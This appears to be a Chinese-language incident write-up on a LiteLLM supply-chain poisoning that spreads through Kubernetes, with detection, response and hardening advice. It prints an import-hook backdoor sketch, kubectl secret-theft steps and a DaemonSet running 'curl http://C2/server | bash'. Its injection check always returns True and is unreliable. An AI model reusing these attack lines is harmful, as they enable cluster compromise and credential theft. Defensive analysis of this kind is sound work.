名字太短的葱1. 事件背景与影响范围
LiteLLM作为当前AI基础设施领域的重要组件，近期遭遇了严重的供应链攻击事件。这次攻击的特殊性在于，黑客不仅成功污染了开源项目本身，还利用Kubernetes的容器编排特性实现了横向扩散，形成了典型的"投毒+扩散"复合型攻击链。
根据公开情报分析，攻击者首先通过伪造贡献者身份向LiteLLM项目提交了含有恶意代码的PR。由于该项目维护团队审核流程存在漏洞，恶意代码被合并到主分支并打包发布。当用户通过pip安装受污染的版本（1.0.0-1.2.0之间多个版本受影响）时，恶意负载就会在部署环境中激活。
关键发现：恶意代码会检测运行环境是否为Kubernetes集群。如果是，则自动尝试获取集群RBAC权限，并通过K8s API进行横向移动。这种针对云原生环境的自动化攻击手段，使得影响范围呈指数级扩大。
受影响用户主要包括：
- 使用官方推荐方式
pip install litellm部署的项目 - 基于受污染版本构建容器镜像的AI服务
- 在Kubernetes集群中运行LiteLLM服务的环境
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 攻击技术深度解析
2.1 供应链投毒实现方式
攻击者在代码库中植入了精心设计的恶意模块，主要利用Python的__import__钩子机制实现后门驻留。具体表现为：
python复制# 伪代码展示攻击逻辑
def malicious_import(name, *args):
if name == "kubernetes":
inject_k8s_payload() # 注入K8s攻击模块
return original_import(name, *args)
__builtins__.__import__ = malicious_import
这种手法使得任何导入kubernetes模块的操作都会触发攻击代码，而该模块在云原生环境中几乎必然会被加载。
2.2 Kubernetes横向移动技术
攻击者在获取集群访问权限后，会执行以下典型动作序列：
- 查询当前命名空间：
kubectl get ns - 寻找高权限ServiceAccount：
kubectl get serviceaccounts -A - 窃取凭据信息：
kubectl get secrets <token-name> -o yaml - 部署恶意DaemonSet实现持久化：
yaml复制# 攻击者部署的恶意DaemonSet示例
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-infecter
spec:
template:
spec:
containers:
- name: malware
image: attacker-registry/malware-image
command: ["sh", "-c", "curl http://C2/server | bash"]
2.3 攻击载荷分析
安全团队从受影响环境中提取到的恶意载荷显示，攻击者主要部署了以下组件：
| 组件类型 | 功能描述 | 持久化手段 |
|---|---|---|
| 反向Shell | 建立到C2服务器的加密通道 | Systemd定时任务 |
| 挖矿程序 | 消耗集群计算资源进行加密货币挖矿 | K8s DaemonSet |
| 凭证收集器 | 窃取AWS/GCP/Azure云凭据 | 挂载宿主机的~/.aws目录 |
| 网络扫描工具 | 探测内网其他集群 | 伪装成NetworkPolicy控制器 |
3. 检测与应急响应方案
3.1 感染指标(IoC)检查清单
代码层面检测：
bash复制# 检查已安装LiteLLM版本
pip list | grep litellm
# 受影响版本范围：1.0.0 <= 受污染版本 < 1.2.1
# 检查Python环境是否被注入
python -c "import sys; print('__import__' in dir(__builtins__))"
Kubernetes集群检测：
bash复制# 检查可疑的DaemonSet
kubectl get ds -A | grep -E 'node-infecter|proxy-loader'
# 检查异常的网络策略
kubectl get networkpolicy -A --show-labels | grep 'app=hidden-proxy'
# 检查ServiceAccount异常绑定
kubectl get clusterrolebindings -o wide | grep -v 'system:'
3.2 应急响应步骤
-
立即隔离受影响系统：
bash复制
kubectl cordon <infected-node> kubectl drain <infected-node> --delete-emptydir-data --ignore-daemonsets -
凭证轮换关键步骤：
- 重置所有ServiceAccount token：
bash复制kubectl get serviceaccounts -A -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' | xargs -I{} kubectl delete secret $(kubectl get serviceaccount {} -o jsonpath='{.secrets[0].name}') - 轮换云平台IAM凭证
- 更新CI/CD流水线中的凭据
- 重置所有ServiceAccount token：
-
彻底清除恶意组件：
bash复制# 删除恶意DaemonSet kubectl delete ds node-infecter --grace-period=0 --force # 清理被修改的Kubelet配置 ssh <node> "sudo systemctl stop kubelet && sudo rm -f /var/lib/kubelet/config.yaml"
4. 防御体系建设建议
4.1 供应链安全加固
依赖项验证方案：
python复制# 在CI流水线中添加校验步骤
def verify_package(pkg_name):
from package_analysis import validate
if not validate(pkg_name):
raise BuildError(f"Package {pkg_name} failed verification")
# 调用示例
verify_package("litellm")
关键防护措施：
- 启用pip的
--require-hashes选项 - 部署Sigstore进行包签名验证
- 在容器构建阶段扫描依赖项：
dockerfile复制FROM python:3.9 COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt RUN pip-audit
4.2 Kubernetes安全加固
RBAC最小权限配置示例：
yaml复制apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: ai-serving
name: litellm-role
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list"]
关键防护策略：
-
启用PodSecurityPolicy（或替代方案）：
bash复制kubectl apply -f - <<EOF apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted spec: privileged: false allowPrivilegeEscalation: false EOF -
部署网络微分段：
bash复制kubectl apply -f - <<EOF apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-lateral spec: podSelector: {} policyTypes: - Egress egress: - to: - namespaceSelector: matchLabels: role: allowed-egress EOF -
运行时防护部署：
bash复制# 使用Falco进行异常检测 helm install falco falcosecurity/falco \ --set ebpf.enabled=true \ --set falco.grpc_output.enabled=true
5. 事件后续处理经验
在实际响应过程中，我们发现几个关键点值得特别注意：
-
日志收集时效性：
bash复制# 使用kubectl快速导出事件日志 kubectl get events -A --sort-by='.lastTimestamp' > cluster-events.log攻击者通常会清理审计日志，因此需要确保日志实时导出到安全存储。
-
镜像取证技巧：
bash复制# 分析可疑容器镜像 docker save malicious-image -o image.tar mkdir analysis && tar xvf image.tar -C analysis grep -r "malicious-pattern" analysis/ -
C2基础设施反制：
通过分析恶意流量的TLS指纹，可以关联到其他攻击活动：bash复制tshark -r malware.pcap -Y "tls.handshake.ja3" -T fields -e tls.handshake.ja3 -
恢复验证流程：
建议采用"蓝绿验证"方式：bash复制kubectl create deployment recovery-test --image=busybox --replicas=1 kubectl exec -it recovery-test -- ping google.com